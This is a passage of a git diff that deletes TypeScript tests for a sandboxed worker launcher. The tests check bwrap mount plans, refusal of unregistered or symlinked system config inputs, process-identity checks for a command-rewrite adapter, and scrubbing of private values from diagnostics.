run();expect(records).toHaveLength(1);expect(records[0]).toMatchObject({aborted:false,requestDelta:2,outcome:"success",refreshDelta:0});expect(timers.size).toBe(0); -}); diff --git a/tests/native-restricted-plan.test.ts b/tests/native-restricted-plan.test.ts deleted file mode 100644 index cb9b816208..0000000000 --- a/tests/native-restricted-plan.test.ts +++ /dev/null @@ -1,64 +0,0 @@ -import {expect,test} from "bun:test"; -import {readFileSync,mkdtempSync,rmSync,statSync} from "node:fs"; -import {join} from "node:path"; -import {nativeDistributionConfigNames,nativeSyntheticSystemNames,nativeDistributionConfigFiles,startNativeTestRelay} from "../scripts/test-native-guard"; -import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -import {watchdogMs} from "../scripts/test-deadlines"; -const repo=join(import.meta.dir,".."); - -test("fixed native system roles match the product distribution configuration inventory",()=>{ - const product=readFileSync(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"),"utf8"); - const names=JSON.parse(/const SYSTEM_ETC = (\[[\s\S]*?\]);/.exec(product)![1]!); - expect(names,"PRODUCT_SYSTEM_CONFIGURATION_ROLES_DO_NOT_DRIFT").toEqual(["ld.so.cache",...nativeDistributionConfigNames,"alternatives",...nativeSyntheticSystemNames,"localtime","os-release"]); - expect(nativeDistributionConfigFiles("/etc/ld.so.conf.d").length,"DISTRIBUTION_CONFIG_IS_ACTUALLY_VERIFIED").toBeGreaterThan(0); -}); - -test("synthetic files resolve runner, worker and localhost with files-only NSS",async()=>{ - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),worker=(process.getuid?.()??1000)+100; - const previous=process.umask(0o077);let bridge:ReturnType;try{bridge=startNativeTestRelay(server.url.origin,worker);}finally{process.umask(previous);} - try{ - for(const name of nativeSyntheticSystemNames)expect(statSync(join(bridge.directory,name)).mode&0o777,"SYNTHETIC_SYSTEM_FILES_READABLE_AT_ANY_UMASK").toBe(0o444); - expect(readFileSync(join(bridge.directory,"nsswitch.conf"),"utf8")).toBe("passwd: files\ngroup: files\nhosts: files\n"); - const program=`import pwd,grp,socket\nassert pwd.getpwuid(${worker}).pw_uid==${worker}\nassert pwd.getpwuid(${process.getuid?.()??0}).pw_uid==${process.getuid?.()??0}\nassert grp.getgrgid(${process.getgid?.()??0}).gr_gid==${process.getgid?.()??0}\nassert {row[4][0] for row in socket.getaddrinfo("localhost",80)}=={"127.0.0.1","::1"}\nprint("FIXED_ACCOUNT_AND_LOCALHOST_LOOKUPS")`; - const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--proc","/proc","--dev","/dev",...bridge.configurationMounts,"--","/usr/bin/python3","-I","-S","-c",program],{stdout:"pipe",stderr:"pipe"}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(exit,err).toBe(0);expect(out).toContain("FIXED_ACCOUNT_AND_LOCALHOST_LOOKUPS"); - }finally{bridge.dispose();server.stop(true);} -}); - -for(const mode of ["complete","arbitrary-etc"] as const)test(`restricted production native plan admission: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-restricted-native-"); - const code=`import * as fs from "node:fs";import {join} from "node:path"; - import {nativeScriptedService,nativeWorkerBoundary,startNativeTestRelay,nativeDistributionConfigNames} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; - import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; - import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; - const root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);const view=createFixtureWorkerStartupView(brain); - const upstream=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(upstream.url.origin,{fixtureRoots:[root]}),bridge=startNativeTestRelay(upstream.url.origin);fs.chmodSync(join(bridge.directory,"relay.sock"),0o600);const leaveInputs=nativeScriptedService(upstream.url.origin,{fixtureRoots:[root,bridge.directory]}); - const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/run/brain-inference/relay.sock"}; - const launch={brainPath:brain,command:[runtime],startupView:view,env,restricted:{readPaths:[runtime],inferenceDir:bridge.directory}},argv=workerCommand(launch); - if(${JSON.stringify(mode)}==="arbitrary-etc")argv.splice(argv.indexOf("--"),0,"--ro-bind","/etc/debian_version","/etc/odysseus-unregistered"); - let plan;try{plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});plan.beforeLaunch();const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - for(const name of nativeDistributionConfigNames)if(!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+2]==="/etc/"+name))throw Error("RESTRICTED_DISTRIBUTION_DEPENDENCY_PRESENT"); - fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");console.log("RESTRICTED_PRODUCT_PLAN_ADMITTED");} - finally{plan?.dispose();leaveInputs();bridge.dispose();leave();upstream.stop(true);view.cleanup();}`; - try{const child=spawnGuardFixture([process.execPath,"-e",code],{timeout:watchdogMs(30000)}),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - if(mode==="complete"){expect(exit,err).toBe(0);expect(out).toContain("RESTRICTED_PRODUCT_PLAN_ADMITTED");} - else{expect(exit,"UNREGISTERED_ETC_INPUT_REFUSED").not.toBe(0);expect(err).toContain("worker bind was not created or staged by the fixture");} - }finally{rmSync(root,{recursive:true,force:true});} -}); - -for(const kind of ["regular","outside-symlink","inside-symlink","directory"] as const)test(`distribution config view refuses non-config authority: ${kind}`,async()=>{ - const {mkdirSync,writeFileSync,symlinkSync}=await import("node:fs"),root=mkdtempSync("/tmp/odysseus-linker-config-"),configs=join(root,"configs");mkdirSync(configs); - try{ - if(kind==="regular")writeFileSync(join(configs,"odysseus.conf"),"/usr/lib\n"); - if(kind==="outside-symlink"){writeFileSync(join(root,"outside.conf"),"Odysseus\n");symlinkSync(join(root,"outside.conf"),join(configs,"odysseus.conf"));} - if(kind==="inside-symlink")symlinkSync("/etc/hosts",join(configs,"odysseus.conf")); - if(kind==="directory")mkdirSync(join(configs,"odysseus.conf")); - const script=`import {nativeDistributionConfigFiles} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))};console.log(JSON.stringify(nativeDistributionConfigFiles("/etc/ld.so.conf.d")));`; - const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--ro-bind",configs,"/etc/ld.so.conf.d","--proc","/proc","--dev","/dev","--",process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - if(kind==="regular"){expect(exit,err).toBe(0);expect(JSON.parse(out)).toEqual(["/etc/ld.so.conf.d/odysseus.conf"]);} - else{expect(exit,"NON_CONFIG_LINKER_INPUT_REFUSED").not.toBe(0);expect(err).toContain("only non-symlink regular config files inside etc");} - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-rtk-adapter.test.ts b/tests/native-rtk-adapter.test.ts deleted file mode 100644 index 7a70a03f99..0000000000 --- a/tests/native-rtk-adapter.test.ts +++ /dev/null @@ -1,105 +0,0 @@ -/** Synthetic processes only: a non-dumpable supervisor must not become RTK authority. */ -import { expect, test } from "bun:test"; -import { mkdtempSync, writeFileSync, rmSync } from "node:fs"; -import { join } from "node:path"; -import { tmpdir } from "node:os"; -import { watchdogMs } from "../scripts/test-deadlines"; - -test("owned RTK adapter requires one exact live audited descendant and the original launch",async()=>{ - const directory=mkdtempSync(join(tmpdir(),"odysseus-rtk-adapter-")),repo=join(import.meta.dir,".."); - try{ - const script=join(directory,"probe.ts"); - writeFileSync(script,` -import {spyOn} from "bun:test"; -import * as fs from "node:fs"; -import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; -import {recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtureRtk} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; -import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; -await enterMeasurementRtkView(); -const python=fs.realpathSync("/usr/bin/python3"); -const selectedAliasRoot=fs.mkdtempSync("/tmp/odysseus-selected-runtime-");const selectedAlias=selectedAliasRoot+"/python";fs.symlinkSync(python,selectedAlias); -const source='import ctypes,subprocess,sys,json\\nctypes.CDLL(None).prctl(4,0,0,0,0)\\nchildren=[subprocess.Popen([sys.executable,"-I","-S","-c","import time;time.sleep(30)"]) for _ in range(2)]\\nprint(json.dumps([p.pid for p in children]),flush=True)\\nsys.stdin.readline()\\nfor p in children: p.terminate();p.wait()'; -const env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; -const child=Bun.spawn([python,"-I","-S","-c",source],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"}); -recordNativeGuardChild(child); -try{ - const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock(); - const pids=JSON.parse(new TextDecoder().decode(ready.value)); - const start=(pid)=>fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19]; - const launch={env:{...env},brainPath:"/tmp"}; - const worker={pid:child.pid,exited:child.exited}; - const outcomes=[]; - function refuses(label,fn){let refused=false;try{fn();}catch{refused=true;}if(!refused)throw Error(label);outcomes.push(label);} - refuses("UNREGISTERED_ROOT",()=>observeNativeFixtureRtkSpawn(process.pid,launch,[python],()=>new Map())); - try{observeNativeFixtureRtkSpawn(child.pid,launch,[python,"/usr/bin/true"],()=>new Map());}catch{throw Error("ADAPTER_SELECTION_DEFERRED_UNTIL_REQUESTED");} - refuses("AMBIGUOUS_SELECTED_RUNTIME",()=>registerNativeFixtureRtk(worker)); - try{observeNativeFixtureRtkSpawn(child.pid,launch,["missing-bare-runtime"],()=>new Map());}catch{throw Error("ADAPTER_SELECTION_DEFERRED_UNTIL_REQUESTED");} - refuses("UNAVAILABLE_SELECTED_RUNTIME",()=>registerNativeFixtureRtk(worker)); - observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map()); - refuses("MISSING_PAYLOAD",()=>registerNativeFixtureRtk(worker)); - observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map(pids.map(pid=>[pid,start(pid)]))); - let ambiguity;try{registerNativeFixtureRtk(worker);}catch(error){ambiguity=error;} - if(ambiguity?.message!=="native fixture RTK payload ambiguous"||ambiguity.cause?.candidateCount!==2||ambiguity.cause.candidates.some(c=>c.depth!==1||c.parentRole!=="launch-root"||!["running","sleeping","tracing-stop"].includes(c.state)))throw Error("RTK_FIXED_CANDIDATE_DIAGNOSTICS_MISSING"); - outcomes.push("AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT"); - observeNativeFixtureRtkSpawn(child.pid,launch,["/usr/bin/true"],()=>new Map([[pids[0],start(pids[0])]])); - refuses("WRONG_EXECUTABLE",()=>registerNativeFixtureRtk(worker)); - observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map([[pids[0],"reused-start"]])); - refuses("REUSED_PAYLOAD",()=>registerNativeFixtureRtk(worker)); - observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map([[pids[0],start(pids[0])]])); - const read=fs.readFileSync; - const spy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{const value=read(path,...args);return path==='/proc/'+child.pid+'/stat'?value.replace(/^(.*\\) )(.*)$/s,(_,prefix,rest)=>{const fields=rest.split(' ');fields[19]='reused-root';return prefix+fields.join(' ');}):value;}); - try{refuses("REUSED_ROOT",()=>registerNativeFixtureRtk(worker));}finally{spy.mockRestore();} - const readStatus=fs.readFileSync; - const statusSpy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{const value=readStatus(path,...args);return path==='/proc/'+pids[0]+'/status'?value.replace(/^Tgid:\\s+\\d+$/m,'Tgid: '+(pids[0]+1)):value;}); - try{let message="";try{registerNativeFixtureRtk(worker);}catch(error){message=error.message;}if(message!=="native fixture RTK audited identity changed")throw Error("AUDITED_RUNTIME_MUST_BE_THREAD_GROUP_LEADER");outcomes.push("AUDITED_RUNTIME_MUST_BE_THREAD_GROUP_LEADER");}finally{statusSpy.mockRestore();} - // The non-dumpable supervisor remains unreadable; only its proven child is admitted. - refuses("BROKER_STAYS_NONDUMPABLE",()=>fs.readFileSync('/proc/'+child.pid+'/environ')); - observeNativeFixtureRtkSpawn(child.pid,launch,[selectedAlias],()=>new Map([[pids[0],start(pids[0])]])); - registerNativeFixtureRtk(worker); - launch.env.PATH="/unregistered"; - const rewritten=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original"); - if(rewritten!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH: "+rewritten); - outcomes.push("OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH");console.log(JSON.stringify(outcomes)); -}finally{child.stdin.end("done\\n");await child.exited;fs.rmSync(selectedAliasRoot,{recursive:true,force:true});} -`); - const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,"OWNED_RTK_ADAPTER "+err).toBe(0); - expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","AMBIGUOUS_SELECTED_RUNTIME","UNAVAILABLE_SELECTED_RUNTIME","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","AUDITED_RUNTIME_MUST_BE_THREAD_GROUP_LEADER","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); - }finally{rmSync(directory,{recursive:true,force:true});} -},watchdogMs(30000)); - -test("a migrated exec registers the owned leader for real RTK rewriting",async()=>{ - const directory=mkdtempSync(join(tmpdir(),"odysseus-rtk-thread-")),repo=join(import.meta.dir,".."); - const strace=Bun.which("strace");expect(strace,"REAL_RTK_THREAD_PROOF_REQUIRES_STRACE").toBeTruthy(); - try{ - const script=join(directory,"probe.ts"); - writeFileSync(script,` -import * as fs from "node:fs"; -import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; -import {auditNativeLaunch,recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtureRtk,nativeRtkProcessEvidence} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; -import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; -const directory=${JSON.stringify(directory)},python=fs.realpathSync("/usr/bin/python3"),binary=directory+"/thread-exec"; -const program='import sys;print("READY",flush=True);sys.stdin.readline()'; -const c='#include \\n#include \\nstatic void *run(void *unused){(void)unused;execl('+JSON.stringify(python)+',"python","-I","-S","-c",'+JSON.stringify(program)+',(char*)0);_exit(125);}\\nint main(void){pthread_t thread;if(pthread_create(&thread,0,run,0))return 125;for(;;)pause();}\\n'; -if(!process.argv.includes("--native-rtk-view")){fs.writeFileSync(directory+"/exec.c",c); -const build=Bun.spawnSync(["cc","-pthread",directory+"/exec.c","-o",binary],{stdout:"pipe",stderr:"pipe"});if(build.exitCode)throw Error("THREAD_EXEC_COMPILES: "+build.stderr.toString());} -await enterMeasurementRtkView(); -const audit=auditNativeLaunch([binary],[python],()=>{}),env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; -const child=Bun.spawn([${JSON.stringify(strace)},...audit.argv.slice(1)],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});recordNativeGuardChild(child); -try{ - const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock();if(!new TextDecoder().decode(ready.value).includes("READY"))throw Error("THREAD_EXEC_TARGET_READY"); - if(!audit.nativeExecuted())throw Error("MIGRATED_EXEC_NATIVE_EXECUTED_WIRING"); - const execs=audit.liveExecs();if(execs.size!==1)throw Error("MIGRATED_EXEC_HAS_ONE_LIVE_LEADER"); - const pid=[...execs.keys()][0];if(nativeRtkProcessEvidence(pid).leader!==true)throw Error("MIGRATED_EXEC_IS_OWNED_GROUP_LEADER"); - const launch={env,brainPath:"/tmp"},worker={pid:child.pid,exited:child.exited}; - observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>audit.liveExecs());registerNativeFixtureRtk(worker); - const result=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original");if(result!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("MIGRATED_EXEC_REAL_RTK_REWRITE"); - console.log("MIGRATED_EXEC_REAL_RTK_REWRITE"); -}finally{child.stdin.end();await child.exited;const receipt=audit.receipt();if(!receipt.nativeLaunched)throw Error("MIGRATED_EXEC_FINAL_AUDIT_SUCCEEDS");} -`); - const child=Bun.spawn([process.execPath,script],{env:{PATH:process.env.PATH},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(30000)}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,"MIGRATED_EXEC_REAL_RTK_REWRITE "+err).toBe(0);expect(out).toContain("MIGRATED_EXEC_REAL_RTK_REWRITE"); - }finally{rmSync(directory,{recursive:true,force:true});} -}); diff --git a/tests/native-rtk-diagnostics.test.ts b/tests/native-rtk-diagnostics.test.ts deleted file mode 100644 index fb2e6af906..0000000000 --- a/tests/native-rtk-diagnostics.test.ts +++ /dev/null @@ -1,58 +0,0 @@ -import { expect,test } from "bun:test"; -import { join } from "node:path"; -import { nativeRtkFailureCategory,nativeRtkExecutableLabel,nativeRtkUnavailableLabels } from "../scripts/native-rtk-diagnostics"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -const cases={"no-owned-match":"native fixture RTK payload missing","multiple-match":"native fixture RTK payload ambiguous","start-mismatch":"native fixture RTK audited identity changed","exe-mismatch":"native fixture RTK executable changed","launch-mismatch":"native fixture RTK spawn is unregistered","register-refused":"unrecognized adapter failure"}; -for(const [category,message] of Object.entries(cases))test(`RTK diagnostic emits ${category} and rethrows`,async()=>{ - const module=join(import.meta.dir,"../scripts/native-rtk-diagnostics.ts"); - const child=spawnGuardFixture([process.execPath,"-e",`import {diagnoseNativeFixtureRtk} from ${JSON.stringify(module)};const original=Error(${JSON.stringify(message)});let caught;try{diagnoseNativeFixtureRtk(()=>{throw original;});}catch(error){caught=error;}if(caught!==original)throw Error("RTK_REFUSAL_MUST_RETHROW");`]); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); - const record=JSON.parse(out.split("\n").find(line=>line.startsWith('{"kind":"native-fixture-rtk-registration"'))!); - expect(record).toMatchObject({success:false,category});expect(Object.keys(record).sort()).toEqual(["kind","head","success","category",...(category==="exe-mismatch"?["executableLabel"]:[])].sort()); -}); -test("RTK diagnostic categories cannot carry arbitrary private text",()=>{ - for(const error of [Error("/home/private-owner/secret TOKEN=private-value https://ithaca.invalid"),"private-value",{message:"native fixture RTK executable changed"}])expect(nativeRtkFailureCategory(error),"RTK_CATEGORY_IS_FIXED_AND_SCRUBBED").toBe("register-refused"); -}); - -test("measurement fixture records its adapter refusal before rethrowing",async()=>{ - const fixture=join(import.meta.dir,"../scripts/measurement-worker-fixture.ts"); - const child=spawnGuardFixture([process.execPath,"-e",`import {mkdtempSync,rmSync} from "node:fs";import {createMeasurementWorkerFixture} from ${JSON.stringify(fixture)};const brain=mkdtempSync("/tmp/odysseus-rtk-refusal-");const fixture=createMeasurementWorkerFixture(brain);let refused=false;try{fixture.qualifyRtk("touch /tmp/brain-worker-scratch/original");}catch{refused=true;}finally{fixture.cleanup();rmSync(brain,{recursive:true,force:true});}if(!refused)throw Error("FIXTURE_RTK_REFUSAL_MUST_PROPAGATE");`]); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0);expect(out,"MEASUREMENT_RTK_REFUSAL_IS_OBSERVABLE").toContain('"category":"launch-mismatch"'); -}); - -test("RTK executable labels retain only fixed mismatch predicates",()=>{ - for(const label of ["basename-equal-but-path-differs","different-basename","unavailable"])expect(nativeRtkExecutableLabel(Error("native fixture RTK executable changed",{cause:label}))).toBe(label); - expect(nativeRtkExecutableLabel(Error("native fixture RTK executable changed",{cause:"/home/private-owner/runtime"}))).toBe("unavailable"); - expect(nativeRtkExecutableLabel(Error("other",{cause:"different-basename"}))).toBeUndefined(); -}); - -test("RTK unavailable source and errno are fixed labels",()=>{ - for(const source of ["canonicalize-selected","read-proc-exe"])for(const errno of ["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"])expect(nativeRtkUnavailableLabels(Error("native fixture RTK executable unavailable",{cause:{source,errno}}))).toEqual({source,errno}); - expect(nativeRtkUnavailableLabels(Error("native fixture RTK executable unavailable",{cause:{source:"/home/private-owner",errno:"secret"}}))).toEqual({source:"unknown",errno:"unknown"}); -}); - -test("RTK process evidence contains only fixed state and access labels",async()=>{ - const {nativeRtkProcessEvidence}=await import("../scripts/test-native-guard"); - expect(nativeRtkProcessEvidence(process.pid)).toMatchObject({leader:true,exeReadlink:"ok",exeStat:"ok"}); - expect(nativeRtkProcessEvidence(2147483647)).toEqual({processState:"missing",leader:null,exeReadlink:"ENOENT",exeStat:"ENOENT"}); - const error=Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:"ENOENT",processState:"/home/private-owner",leader:"secret",exeReadlink:"private",exeStat:"private"}}); - expect(nativeRtkUnavailableLabels(error),"RTK_PROCESS_EVIDENCE_IS_FIXED_AND_SCRUBBED").toEqual({source:"read-proc-exe",errno:"ENOENT",processState:"unknown",leader:null,exeReadlink:"unknown",exeStat:"unknown"}); -}); - -test("RTK live projection retains only fixed input metadata and no paths or environment values",async()=>{ - const {nativeRtkProjectionInputs,nativeRtkOracleResult}=await import("../scripts/native-rtk-diagnostics"); - const fs=await import("node:fs"),path=await import("node:path");const root=fs.mkdtempSync("/tmp/odysseus-rtk-inputs-"); - const selected=path.join(root,"rtk");fs.symlinkSync("/usr/bin/true",selected); - const child=Bun.spawn([process.execPath,"-e",'console.log("ready");await Bun.stdin.text()'],{env:{PATH:root,ANTHROPIC_AUTH_TOKEN:"private-fixture-secret"},stdin:"pipe",stdout:"pipe",stderr:"pipe"}); - try{ - const reader=child.stdout.getReader();await reader.read();reader.releaseLock(); - const input={env:{PATH:root},brainPath:root,command:[process.execPath]}; - const record=nativeRtkProjectionInputs(child.pid,input); - expect(record,"LIVE_RTK_PROJECTION_INPUTS").toMatchObject({statusReadable:true,environmentReadable:true,pathEqualsOriginal:true,uidEqualsExpected:true,gidEqualsExpected:true,groupsEqualExpected:true,rtkReadable:true,mode:0o755,staticElf:false,protectedInstallation:true,hostIdentityEqualsWorker:true}); - expect(typeof record.ro).toBe("boolean");expect(typeof record.nodev).toBe("boolean");expect(typeof record.nosuid).toBe("boolean"); - expect(nativeRtkProjectionInputs(child.pid,{...input,env:{PATH:"/other"}}).pathEqualsOriginal,"PATH_DIFFERENCE_IS_OBSERVED").toBe(false); - const text=JSON.stringify(record);for(const secret of [root,"/usr/bin","private-fixture-secret","ANTHROPIC_AUTH_TOKEN"])expect(text,"RTK_PROJECTION_SCRUBBED").not.toContain(secret); - expect(nativeRtkProjectionInputs(2147483647,input)).toMatchObject({statusReadable:false,environmentReadable:false,pathEqualsOriginal:null,rtkReadable:false}); - for(const [result,expected] of [["same","unchanged"],["different","rewritten"],["","empty-result"],[null,"invalid-result"]] as const)expect(nativeRtkOracleResult("same",result)).toBe(expected); - }finally{child.stdin.end();await child.exited;fs.rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-rtk-zombie.test.ts b/tests/native-rtk-zombie.test.ts deleted file mode 100644 index 9e7e1eb30f..0000000000 --- a/tests/native-rtk-zombie.test.ts +++ /dev/null @@ -1,47 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,writeFileSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import {watchdogMs} from "../scripts/test-deadlines"; - -const modes=["zombie-live","zombie-only","zombie-start-mismatch","two-live","unknown-state","live-ENOENT","live-EACCES","state-EACCES"] as const; -for(const mode of modes)test(`RTK zombie candidate policy: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-rtk-zombie-"),repo=join(import.meta.dir,".."); - try{ - const file=join(root,"proof.ts"); - writeFileSync(file,` -import {spyOn} from "bun:test";import * as fs from "node:fs"; -import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; -import {recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtureRtk,nativeRtkProcessEvidence} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; -import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; -await enterMeasurementRtkView(); -const mode=${JSON.stringify(mode)},python=fs.realpathSync("/usr/bin/python3"); -const source='import ctypes,subprocess,sys,json,os\\nctypes.CDLL(None).prctl(4,0,0,0,0)\\nchildren=[subprocess.Popen([sys.executable,"-I","-S","-c","import time;time.sleep(30)"]) for _ in range(2)]\\nzombie=subprocess.Popen([sys.executable,"-I","-S","-c","pass"])\\nos.waitid(os.P_PID,zombie.pid,os.WEXITED|os.WNOWAIT)\\nprint(json.dumps({"live":[p.pid for p in children],"zombie":zombie.pid}),flush=True)\\nsys.stdin.readline()\\nfor p in children: p.terminate();p.wait()\\nzombie.wait()'; -const env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; -const child=Bun.spawn([python,"-I","-S","-c",source],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});recordNativeGuardChild(child); -let spy; -try{ - const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock();const {live,zombie}=JSON.parse(new TextDecoder().decode(ready.value)); - if(nativeRtkProcessEvidence(zombie).processState!=="zombie")throw Error("REAL_KERNEL_ZOMBIE_REQUIRED"); - const start=pid=>fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19]; - const pairs=mode==="zombie-live"?[[zombie,start(zombie)],[live[0],start(live[0])]]:mode==="zombie-only"?[[zombie,start(zombie)]]:mode==="zombie-start-mismatch"?[[zombie,"wrong-start"]]:mode==="two-live"?live.map(pid=>[pid,start(pid)]):[[live[0],start(live[0])]]; - const audited=new Map(pairs),launch={env,brainPath:"/tmp"},worker={pid:child.pid,exited:child.exited};observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>audited); - if(mode.startsWith("live-")){const real=fs.realpathSync;spy=spyOn(fs,"realpathSync").mockImplementation((path,...args)=>{if(path==='/proc/'+live[0]+'/exe')throw Object.assign(Error("fixture exe access refused"),{code:mode.slice(5)});return real(path,...args);});} - if(mode==="unknown-state"||mode==="state-EACCES"){ - const real=fs.readFileSync;let reads=0;spy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{ - if(path==='/proc/'+live[0]+'/stat'&&++reads>=2){if(mode==="state-EACCES")throw Object.assign(Error("fixture state access refused"),{code:"EACCES"});return real(path,...args).replace(/^(.*\\) )(.*)$/s,(_,prefix,rest)=>{const fields=rest.split(' ');fields[0]='?';return prefix+fields.join(' ');});}return real(path,...args); - }); - } - let failure;try{registerNativeFixtureRtk(worker);}catch(error){failure=error;} - const expected={"zombie-only":"native fixture RTK payload missing","zombie-start-mismatch":"native fixture RTK audited identity changed","two-live":"native fixture RTK payload ambiguous","unknown-state":"native fixture RTK worker identity unavailable","state-EACCES":"native fixture RTK worker identity unavailable","live-ENOENT":"native fixture RTK executable unavailable","live-EACCES":"native fixture RTK executable unavailable"}; - if(mode==="zombie-live"){ - if(failure)throw Error("ZOMBIE_AND_ONE_LIVE_CANDIDATE_MUST_REGISTER: "+failure.message); - const rewritten=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original");if(rewritten!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("ZOMBIE_FILTER_PRESERVES_REAL_RTK_REWRITE"); - }else if(failure?.message!==expected[mode])throw Error("ZOMBIE_POLICY_REFUSES_UNCERTAIN_OR_AMBIGUOUS_CANDIDATE:"+mode+":"+failure?.message); - console.log("RTK_ZOMBIE_POLICY:"+mode); -}finally{spy?.mockRestore();child.stdin.end();await child.exited;} -`); - const child=Bun.spawn([process.execPath,file],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,"RTK_ZOMBIE_POLICY "+mode+" 